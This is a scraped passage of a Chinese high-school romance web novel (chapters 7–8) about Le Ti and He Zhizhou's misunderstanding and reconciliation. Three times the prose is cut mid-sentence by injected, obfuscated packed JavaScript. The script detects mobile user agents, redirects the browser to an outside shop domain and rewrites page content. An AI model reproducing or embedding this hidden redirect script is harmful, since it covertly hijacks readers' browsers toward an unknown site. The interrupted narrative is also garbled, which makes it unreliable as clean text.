反观对面的贺知洲,用筷子慢条斯理地夹起一小块,吃得极其斯文,甚至显得有些兴致缺缺,像是没什么胃口。 她疑惑地看了一眼,难得良心发现,咽下嘴里的肠粉,故意捏着嗓子喊他:“洲洲~” 贺知洲眼皮一抬,“嗯?” “你要多吃点呀,你看我早餐都吃很多的。你胃本来就不好,别饿晕在街上,被人当甘蔗十五块一根卖了。” “只是早餐吃得多吗?”贺知洲挑眉,也拖长了音,“其他时候也没少吃吧,宝宝——” 乐缇看过去:“?” 他停顿两秒,看着她,才吐出下一个字:“缇。” ——吓死了。 差点以为贺知洲要喊她宝宝呢。 乐缇莫名松了口气。 “你说话能不能别大喘气?”乐缇不悦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16572375|187046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地瞪他,理直气壮地说,“我那是少食多餐,健康,懂不懂?” “嗯,懂。”贺知洲向后靠向椅背,瞥了眼她仿佛被洗劫过的盘子,慢悠悠补刀,“少食多餐,就是每餐的量都不少。” 乐缇:“…………” 她刚要反驳,手机屏幕忽然亮起。 她下意识瞥了贺知洲一眼,而这心虚的一瞥,恰好被他捕捉个正着。 贺知洲太熟悉这个表情了,每次乐缇背着他做点什么小动作时,就是这副模样。 但她显然没打算告诉他,只见她鬼鬼祟祟地快速打字,嘴角还控制不住地微微上扬。 谁一大早给她发消息? 还要回避他,一副做贼心虚的模样? 想到这里,再看到乐缇翘起的嘴角,贺知洲的表情冷了几分。 她不会真要到那个什么扬的微信了吧? 他又想到上学期,无意间看到隔壁班的借读生给乐缇告白的事。其实暗恋乐缇的男生不算少,只不过都在看到他的存在之后,就非常识趣地打消了念头。 但那次,乐缇居然带着一种新奇又兴奋的语气对他说:“贺知洲,你知道吗,居然有人跟我表白了!” 贺知洲知道她只是单纯感慨。 但无奈她脑子缺根弦,太单纯,也太好骗。 他倏然垂下眼,看着乐缇心满意足地关掉手机屏幕,声音平静地开口:“乐缇。” “干嘛?”乐缇抬起头,唇边还挂着未散的笑意。 “还记得上学期三班那对早恋被老李头抓包的情侣吗?叫了家长也不肯分。”他顿了顿,像是随口一提,“昨天听说还是分了。” “哦,然后呢?”乐缇完全没get到点,茫然地眨眨眼,“这瓜我好像吃过。” 贺知洲懒洋洋道:“没什么,就是提醒你,有些男生看着人模人样,其实挺会装。骗起女生来一套一套,防不胜防。” 乐缇被他这番话搞得莫名其妙。 她眨了眨眼,非但没被点醒,反而用探究的眼神上下打量他一番,忍不住反问:“等等,你确定你说的这种‘看着人模人样,其实挺会装’的人……不是你本人吗?” 贺知洲:“…………” 乐缇是真心这么觉得,在她看来,贺知洲才属于那种天生就容易招蜂引蝶,随便一个眼神一句话就能让女生脸红心跳。 偏偏他自己还总是一副冷淡无所谓、甚至有点不耐烦样子的人。 贺知洲沉默了好几秒,剩下的话硬生生卡在喉咙里。随后,他像是被气笑了,极轻地“呵”了一声:“来,你展开说说,我骗谁了?” 乐缇环视了一圈周围投来的目光,“在这说?你确定吗?不太好吧,有损你的光辉形象。” “怎么不好?” “上一学期光是被你拒绝,坚持找到我这来帮忙送东西的女孩子就不下五个。” 乐缇想起那个仿佛自己是客服中心的画面,忍不住吐槽:“还有你对女孩子就不能稍微、稍微温柔一点点吗?” 贺知洲看着乐缇,很轻地扯了下唇:“我都明确拒绝过了,更何况我和她们说过我已经——” 他顿了顿,话语突然戛然而止。 乐缇疑惑地歪头:“你已经什么?” 贺知洲突然别开视线,答非所问:“对不喜欢的女生温柔,算什么?” 7. Chapter007 “什么,你有喜欢的女生了?” 店里人声嘈杂,乐缇却只捕捉到这几个关键词。她愣愣地“啊”了一声,有些难以置信地看向贺知洲。 贺知洲没想到她会空耳到这种程度。 他本想第一时间解释,可话到嘴边,却又是:“如果是真的呢?” 乐缇拿筷子的手一顿,脑子里空白了几秒,沉默几秒,她想了想,慢吞吞地开口:“贺知洲。” “嗯。” “我们虽然马上高三了,是很关键的阶段,”她顿了顿,“但是——” 贺知洲不自觉地攥紧了手中的手机。 “但是什么?” 乐缇一脸认真地看着他,像是在保证:“但是你放心,如果你真有喜欢的女生了,我不会举报你们早恋的。” 虽然早有预料大概是什么样的回答。 贺知洲悬着的心还是直直沉了下去,像是沉进了深不见底的湖底,而这片湖底他也不是第一次访问。 唇边的笑意一点点消散。 他看着乐缇认真的神情,他忽然不知该说什么,甚至开始后悔提出这个假设。 乐缇吃完最后一口,抿了下唇,犹豫片刻还是忍不住问:“不过那个女生是谁啊?我认识吗?” 她仔细回想了一下—— 在她的记忆里,贺知洲身边似乎从未出现过除她以外关系亲近的女生。 “难道是其他班的?” 贺知洲很轻地笑了一下。 随后站起身,迈开长腿就往外走,“想什么呢?你听错了。” 乐缇抽了两张纸巾,又背上书包连忙起身跟上,不解地追问:“啊?可是我分明就听见你说什么喜欢,什么女生了!” “……” 贺知洲脚步微顿。 下一秒,乐缇沉默了半天,支支吾吾地、有些艰难地开口:“难道……你喜欢的是男生?” 贺知洲深吸一口气。 乐缇有些措手不及,下意识轻轻拉住他的衣角,茫然地问:“贺知洲,你生气了吗?” “没有。” “那你为什么突然走这么快?” 贺知洲没有回头,但还是放慢了脚步,语气平淡:“我没生气。” “不对,你不对劲!是不是我说错什么了?”乐缇收起平时嬉闹的样子,试探着问。 贺知洲很少对她发脾气。 正因如此,他情绪稍有反常,就很容易被她察觉。 乐缇感到有些无措。 听到她语气里的小心翼翼,贺知洲轻轻蹙眉,转头看向她:“乐缇。” “啊?” “我没生气,”他垂眸看着她,“也不会生你的气。还有——” 乐缇的手仍攥着他的校服衣角,仰起脸与他对视,有些困惑:“还有什么?” “我记得我以前就说过吧。”贺知洲淡淡道,“你在我面前,不用这样小心翼翼。” 听到这句话,乐缇怔怔地望向他。 贺知洲看了一眼她拽着自己校服的手,垂在身侧的手指微微屈了屈,最终还是没有抬起,只是轻声提醒:“走了,要迟到了。” . 时隔一个短暂的暑假,两人再次踏进熟悉的校园。在附中校门口遇到庞明星后,三人结伴朝博学楼走去。 乐缇望着贺知洲的背影。 少年脊背挺直,步履松弛,单肩挎着书包,透着几分随性。 她有些闷闷地低下头。 庞明星不知说了什么,贺知洲忽而笑了起来,微微侧过脸,五官轮廓分明,线条已初现出介于少年与成年人之间的锋利,眉宇间带着他独有的恣意。 乐缇心里仍有些困扰。 所以贺知洲在肠粉店里说的到底是什么? 她真的听错了吗? 他到底有没有生气? 这种状态一直持续到第二节英语课结束。 下课铃响,班主任陈倩在讲台上说:“好了,占用大家几分钟。科明一会儿先把英语暑假作业收上来。这本大白本是高二英语组老师一起整理的,背默是最基础的部分。如果这个不扎实,其他都是空中楼阁……” 今天天气有些热。 乐缇一只手托着腮,另一只手举着小风扇对着脸吹。 同桌颜茹把自己的大白本拿出来,和乐缇的叠在一起放在桌角,等着上交。 见乐缇在发呆,颜茹先瞄了眼陈倩,才低声问:“同桌,你跟贺知洲吵架了?” 乐缇摇摇头,“嗯?没有啊。” “那是怎么了?” “……”乐缇沉默几秒,还是忍不住问,“同桌,你说男生如果有了喜欢的女生,是不是也会变得奇奇怪怪的?” “嗯?”颜茹立刻睁大眼睛,“什么,贺知洲有喜欢的人了?” 乐缇一噎:“我好像没说是他吧。” “哦,不是他还能是谁?”颜茹十分笃定,“你还会关心别的男生的事吗?” 乐缇:“……” 颜茹回头看了一眼,贺知洲正趴在桌上睡觉。 不对劲。 太不对劲了。 颜茹直觉这两人之间肯定闹了别扭。 之所以这么肯定,是因为上学期她就留意到,每次下课铃一响,乐缇总会第一时间转过身去,不是找贺知洲说话,就是问他一些题目。 而贺知洲呢。 只要乐缇在,下课了就哪也不去。 可今天是开学第一天。 颜茹最早到教室等着,却见两人一前一后进来,脸色都不太对劲。 就在乐缇还想说什么时,班长许科明抱着一叠英语大白册走了过来。 “我来收作业了。”许科明看向乐缇,笑着问,“乐缇,那个补习班感觉怎么样?老师讲得还行吗?” 乐缇暑假上的这个班是许科明家亲戚开的。据说几位老师教学经验丰富,之前班里也有同学去补课后成绩明显提升。 乐缇觉得整体还不错,而且报名时因为是许科明的同班同学,她和颜茹都享受了八五折优惠。 她点点头:“老师的确讲得挺好的。” 说着,她又从书包里拿出一盒百乐P500黑笔递过去:“对了班长,之前看你好像常用这款笔,我顺便多买了一盒,送你。” 许科明愣了一下。 有些意外地接过:“谢谢啊!” “不客气。” 许科明在班里人缘不错,成绩也靠前,作为班长从不多事,还经常帮助女同学一起做值日等等。 与此同时,后排趴着的人忽然睁开眼。 贺知洲枕在手臂上,神情倦懒,额前黑发微微遮住眉毛。前排的对话一字不落地飘进耳中。 少年浓密的眼睫轻轻一动,又闭上眼,转了个方向继续趴着。 … 转眼上课铃响起,又到了乐缇又爱又恨的数学课。 戴眼镜的数学老师韦恺乐单手插兜走进教室,还换了一个发型,语气轻松地问:“各位小帅哥小美女们又见面了,我的新发型怎么样?” 底下果然响起一片配合的“哇”声。 韦恺乐教学风格幽默随和,平时跟学生没什么距离,课上常说的几句经典台词无非是: ——“白送的分你都不要?” ——“看我干嘛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16572376|187046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?我脸上有答案?” ——“这题太简单了,不讲了啊,下一题。” 乐缇原本真的打算这学期数学课一定要好好听的,但她端坐在位置上,还是无法集中精神。 她的思绪天马行空—— 一会儿飘到看过的电视剧剧情,一会儿又忍不住在心里哼起歌。 最后,思绪又绕回了肠粉店的事。 趁着老韦点名回答问题的间隙,她忍不住撕了张便利贴,写下一行字后揉成团,连同颗柠檬糖一起握在手心,向后轻轻敲了敲贺知洲的课桌。 很快,一道微凉的触感掠过她的掌心。 贺知洲接过了她的纸条和那颗糖。 他面不改色地展开纸条,一行似乎自带语音的字跃然纸上—— 【你好贺同学,有人让我问你,你到底为什么不高兴:(】 贺知洲拆开糖放进嘴里,按下黑笔写了几个字,流畅地将纸条用同样的方式递了回去。 乐缇装作若无其事地展开,看到他的回复后,嘴角立刻垮了下来。 她刚想再写点什么,老韦就注意到了她,轻轻瞥了一眼:“乐缇,又干什么呢?” 她迅速将纸团塞进笔袋里。 老韦看了看她身后单手托腮、姿态懒散的贺知洲,又看看乐缇,语气还算温和:“注意听讲啊,有什么话下课再说。” 乐缇抿抿唇,“知道了老师。” 有一类学生上课看似极其认真,但是却收效甚微。 而乐缇就是这一类。 韦恺乐也不是第一次抓到她开小差了,但每次见小姑娘坐得端正,态度良好,也就不忍心多说。 … 漫长的数学课终于结束了。 乐缇蔫蔫地趴在桌上。 身后的贺知洲则趁着大课间,和几个男生下楼打球去了。 颜茹出去一趟又匆匆折返,兴奋地对她说:“乐缇!我刚听说六班今天转来一个帅哥,从隔壁曲水来的,跟贺知洲差不多帅!要不要去看看?” 乐缇对“帅哥”两个字没什么反应。 毕竟有贺知洲这种级别的天天在眼前晃,她真不觉得有几个人能和他相提并论。 ——至少长这么大还没见过。 但听到“贺知洲”三个字时,她的睫毛轻轻颤了一下,更郁闷地拒绝:“我不去。” 她本来就不是爱凑热闹的性格,平时在班里除了贺知洲和颜茹,也多是独来独往。 颜茹极力安利,“真不去?真的很帅啊!” 乐缇无动于衷,“是吗?” “姓氏也挺特别的,叫什么来着……”颜茹想了想,“哦对,羿扬!” 乐缇一顿,稍稍坐直身子:“羿扬?” “对啊,”颜茹以为她来了兴趣,“要去吗?” 乐缇想了想,反正闲着也是闲着,索性站起来:“行,那就去看看吧。” … 贺知洲和庞明星打完球回来,庞明星还顺路给乐缇买了瓶西柚茉莉花茶口味的茶π,结果发现前桌两个女生都不在。 “咦,人呢?”庞明星问隔壁桌的男生,“张舜,看见乐缇没?” 张舜头也不抬:“去六班看转学生了。” “转学生?羿扬?” “好像是吧。” 庞明星“哦”了一声,转头一看,贺知洲正没什么表情地靠在椅背上,整个人散发着低气压,看上去心情很不好。 庞明星瞬间恍然大悟,贱兮兮地凑过去,“老大你咋了,怎么不高兴啊?告诉我,我可是心理委员。” 贺知洲眼皮都没抬,薄唇轻启,淡淡吐出一个字:“滚。” 8. Chapter008 乐缇跟着颜茹晃到六班门口。 后排位置上坐着一个没有穿校服的男生,被几个同学三三两两地包围着。 颜茹已经熟络地靠在窗边,和六班的陈颖聊了起来。 “乐缇!”陈颖顺势喊了她一声。 乐缇点点头,站在一旁,也好奇地望了过去。 男生的坐姿很端正,侧脸线条流畅,鼻梁高挺,乌黑短发,发型和贺知洲大差不差,精致的眉眼低垂着。旁边几个同学正和他不停搭话,男生也不厌其烦地笑着回应。 看到这情景,乐缇不由想起高一和贺知洲一起入学时的盛况——当时听说初中部升上来一个高一大帅哥,连高二高三的学长学姐们都纷纷跑来围观。 她看了一眼就准备回班,男生却恰好转过头,直直对上她的视线。 她一怔,移开目光看向颜茹。 再转回去时,发现男生还在看她。 “他好像在看你。”乐缇对颜茹说。 “我吗?”颜茹将信将疑,“不会吧?” “总不可能看我吧?”乐缇语气肯定,“我和他又不认识。” 颜茹张了张嘴:“啊?我也不认识啊。” 一旁的陈颖好奇地问:“乐缇,你觉得他和贺知洲比,哪个帅?” “当然是贺知洲了。” 乐缇不假思索地回答。 “哦——” “哦——” 颜茹和陈颖不约而同地拖长了尾音。 颜茹又说:“但他们俩风格不太一样。” 陈颖接话:“今天羿扬自我介绍时候,听说他会弹贝斯,他不会也去贺知洲那个社团吧?” 三个女生隔着窗聊得正起劲。 说着说着,陈颖突然噤声转回身像见了鬼似的,颜茹也跟着回头看了一眼,连忙扯了扯乐缇的袖子。 乐缇:“干嘛?” 颜茹假装咳嗽:“咳咳。” 乐缇看了她一眼,迟疑道:“你喉咙不舒服?” 颜茹咳得更厉害了:“咳咳——” “这么严重?” 她话音未落,忽然觉得身后一阵风掠过。回头一看,正对上年级主任李文栋面无表情的脸。 老李头皱着眉,语气不悦:“乐缇,颜茹,又是你们两个!马上上课了不回班,跑来六班干什么?” 颜茹魂都吓飞了。 乐缇却十分淡定:“我们来上厕所,刚好路过。” 老李头冷笑:“二楼跑来三楼上厕所?” 乐缇面不改色:“李老师,您不知道。” “我不知道什么?” “三楼厕所比较香。” 李文栋:“……” 他差点气笑,却又一时语塞,转头瞪向低头偷笑的陈颖,没好气地说:“陈颖,刘海这么长还不剪,打算垂帘听政呢?” 陈颖肩膀直抖,强忍笑意:“对不起老师,楼下理发店没开门,我周末就去剪。” 李文栋眼睛一瞪:“别周末了,今晚放学就去!” 陈颖:“好的老师!” 话音刚落,上课预备铃恰好响起。 李文栋板着脸看向乐缇和颜茹,催促道:“还站这儿干嘛?赶紧回班上课!” 乐缇一脸乖巧:“好的,老师再见。” 李文栋哼了一声:“别再让我抓到你们!” 回班的路上,颜茹好奇地问乐缇:“我怎么觉得老李头对你特别没辙?按他平时的作风,早该叫家长了。” “他不敢叫我家长。” “为什么?” 乐缇平静地说:“他是我外婆的学生。” 这事还是高一那次被叫家长时知道的。 当时老李头以为她和贺知洲早恋,二话不说,直接请了家长。 结果,她和贺知洲的家长来的都是蒋惠芳。 乐缇永远忘不了那天的场面。 一向威风凛凛的老李头在办公室里训斥两人:“不好好学习,高一就早恋!必须让家长好好管管!” 乐缇反驳:“老师,我们没有早恋!” “没有早恋?”老李头显然不信,“那你们靠那么近干什么?” 乐缇理直气壮:“贺知洲说我头上有头皮屑,要帮我弄掉。” “乐缇!你还胡说八道!” “我没胡说!” “还有人反映,你们天天一起上学放学,这你怎么解释?” 乐缇真诚地眨眨眼:“因为我们住一块啊。” 老李头显然想岔了,顿时瞪大眼睛,指着乐缇:“……你、你说什么?!” 贺知洲低着头,忍不住笑出声。 老李头立刻转向他:“你又笑什么?” “对不起老师,”贺知洲握拳抵住嘴唇,“一时没忍住。” 就在老李头差点气晕的时候,蒋惠芳终于出现在办公室。 好几个老师都站起身。 老李头一回头,乐缇第一次在他脸上看到那种恭敬又紧张的表情:“蒋、蒋老师?您怎么来了……” 蒋惠芳指指乐缇:“乐缇,我家宝贝孙女。” “……” “真是麻烦你费心了。她爸妈不在身边,有什么事直接跟我说,我一定好好管教!” “老师您言重了。”老李头沉默半晌,“我就是发现乐缇和贺知洲好像……” 蒋惠芳了然:“你怀疑他们早恋?” 老李头支支吾吾地点头。 “我们都是过来人,青春期萌动很正常。作为两个孩子家长,他们有没有早恋我最清楚。”蒋惠芳依旧笑呵呵的,忽然话锋一转,“再说了,文栋啊,你高中时不也早恋被我抓过吗——” 正罚站的两人齐刷刷抬起头。 老李头惊恐地看过去:“老师!!!” … 回忆结束,乐缇把当时的场景讲给颜茹听,颜茹忍不住感叹:“牛波一plus!真是一物降一物啊!” 两人正好从后门走进教室。 乐缇一抬眼,恰好对上贺知洲的视线。 他坐在座位上,长腿随意伸着,脸上没什么表情,只轻飘飘地瞥了她一眼,又移开目光,像是没看她似的。 乐缇刚要叫他,又抿住了嘴唇。 这人到底抽什么风啊? 都闹别扭这么久了。 经过他座位时,乐缇低头看了一眼,脚步顿了顿,故意轻轻踩了一下他的鞋带。 贺知洲眼角抽了下,“?” 乐缇若无其事地回到自己座位坐下,忽然转向颜茹:“你也觉得羿扬挺帅吧?” 颜茹一脸茫然:“啊?” “我也觉得他挺帅的。” 贺知洲:“……” 逞一时口快的后果就是,中午吃饭时贺知洲没和乐缇一起,乐缇就跟颜茹还有其他班两个女生一起吃的。 … 放学时分,金乌西坠。 漫天霞光铺展开来,将天空染成橙红与粉紫交织的画卷,几只飞鸟掠过,在教学楼窗玻璃上投下转瞬即逝的影子。 开学第一天的值日生正好是乐缇和颜茹。 乐缇扫完地,收拾好工具,不自觉地望向那个空了的座位,心情又开始郁闷起来。 这还是第一次贺知洲没有等她一起放学回家。 乐缇问:“你晚上去哪啊?” “我打算去对面吃个鸡腿饭,然后和陈颖去师大写作业。” 不少附中学生晚上会去旁边师范大学的阶梯教室自习,那里安静,学习氛围浓厚,大家都在埋头看书或写作业。 乐缇略有些失望:“好吧。” “那你呢?”颜茹好奇,“贺知洲今天怎么没等你啊?” “谁知道。”乐缇撇撇嘴,“而且我又不是非得和他一起回家。” “那好吧。” 这时陈颖刚好来到门口等着。 颜茹看向乐缇,“那我先走了?” 乐缇点头:“拜拜。” 目送两人离开后,乐缇才背起书包往楼下走。 她迎着霞光走下台阶。 身边忽然少了一个人,心里空落落的,那股郁闷的情绪更重了。 “讨厌的贺知洲,”她低声嘟囔,“也不等我一起回家,再也不理你了。” 忽而,一阵微风掠过。 紧接着,一道熟悉的嗓音响起: “又在背后蛐蛐我什么呢?” 乐缇脚步猛地停住: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16572377|187046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “……” 她抬起头,正对上贺知洲深邃的漆黑眼眸。 少年背着书包站在几步之外,夕阳的光线勾勒出他格外挺拔的身影。 她愣愣地看过去,唇角已经下意识翘起来,却又立马绷住:“你还没走?” “我刚在打球。” 贺知洲有些莫名其妙地瞥了她一眼,“而且你都没走,我走什么?” 乐缇不自觉地握紧书包带,方才的郁闷竟神奇地消散了些。 贺知洲:“走啊,发什么呆?” “噢。”她跟上去。 两人走出校门,公交站等车的学生已经不多。 他们隔着几步距离,站在站牌旁。 贺知洲看了眼手机,说:“下一班24路还要十分钟,121路得十三分钟。” “啊?怎么要等这么久?” 乐缇又望了眼旁边的罗森便利店,“贺知洲你等我一下,我去买个东西!” 贺知洲下意识迈步:“我跟你……” “不用,你在这儿等我就好!” 说完她就转身跑向便利店。 两分钟后,乐缇提着一个小塑料袋回来,重新站到贺知洲身边。 贺知洲没看她,“买了什么?” “饭团,”乐缇拿出一个香辣鱿鱼软海苔三角饭团递过去,“吃不吃?” 贺知洲沉默两秒,接了过来。 “你饿了?” “有点。”乐缇还买了一个溏心玉子饭团,“突然想起来好几天没吃罗森的饭团了。” 贺知洲剥开包装袋,却没有吃,而是直接递到了乐缇面前,“吃吧。” “你不吃么?”乐缇迟疑了一下。 “嗯,”贺知洲懒洋洋地说,“看你眼睛都快饿得冒绿光了,先垫垫肚子。免得你饿急了连我一起啃了。” 乐缇:“…………” 沉默几秒,她接过来嗷呜咬了一大口,含糊不清地说:“你放心,我还没到饥不择食的地步。” 贺知洲面无表情:“吃东西把嘴闭上。” “哦。” 贺知洲垂眸看着她鼓着腮帮子吃东西,视线一直没移开:“好吃吗?” 乐缇埋头苦吃,忙不迭点点头,囫囵地说:“是真的好好次,你真不要?还有一个呢。” 贺知洲“嗯”了一声:“跟我就不用谦让了,我知道你吃得下第二个。” 乐缇瞪他:“……你爱吃不吃!” 贺知洲很轻地笑了下。 吃完一个饭团,贺知洲不知从哪儿变出一张纸巾递给她。 乐缇顺手接过来擦了擦嘴。 终究还是不太适应这种奇怪的氛围,像在闹别扭,可贺知洲却一副若无其事的样子。 好吧。 她还是有点在意他的情绪的。 “贺知洲,给你看个东西。” “什么。” 乐缇神秘兮兮地从口袋里掏出一张纸条,举到他面前晃了晃,还配上音效:“噔噔噔噔——!看看这是什么!” 贺知洲先是一愣。 随即弯起嘴角:“这什么啊?” “之前吵架时我画的和好券,已经用了三张,还剩两张。”乐缇不太自在地别开眼,“虽然不知道你今天为什么不高兴,但我们和好吧!” 她催促道:“你说话呀,怎么样?” 过了几秒,贺知洲唇角一勾:“行,看在你请我吃饭团的份上,勉强同意了。” 乐缇霎时松了口气。 ——贺知洲真好哄啊。 “那你现在就剩一张和好券了,”贺知洲接过那张纸条,随口问,“打算什么时候用?” “就剩最后一张了,我要好好保存。”乐缇信誓旦旦,“以后肯定用得上。” “嗯。” 马路上车流不息,贺知洲望着某个方向,忽然问:“你去六班看转学生了?” “是啊,颜茹说他挺帅的,拉我去看。” 贺知洲眉梢微挑:“所以你觉得帅吗?” “还好吧。”乐缇不假思索,又慢吞吞地补充,“虽然你平时人模狗样的,但我还是觉得你最好看。” 贺知洲轻轻扬起了唇角:“算你识相。”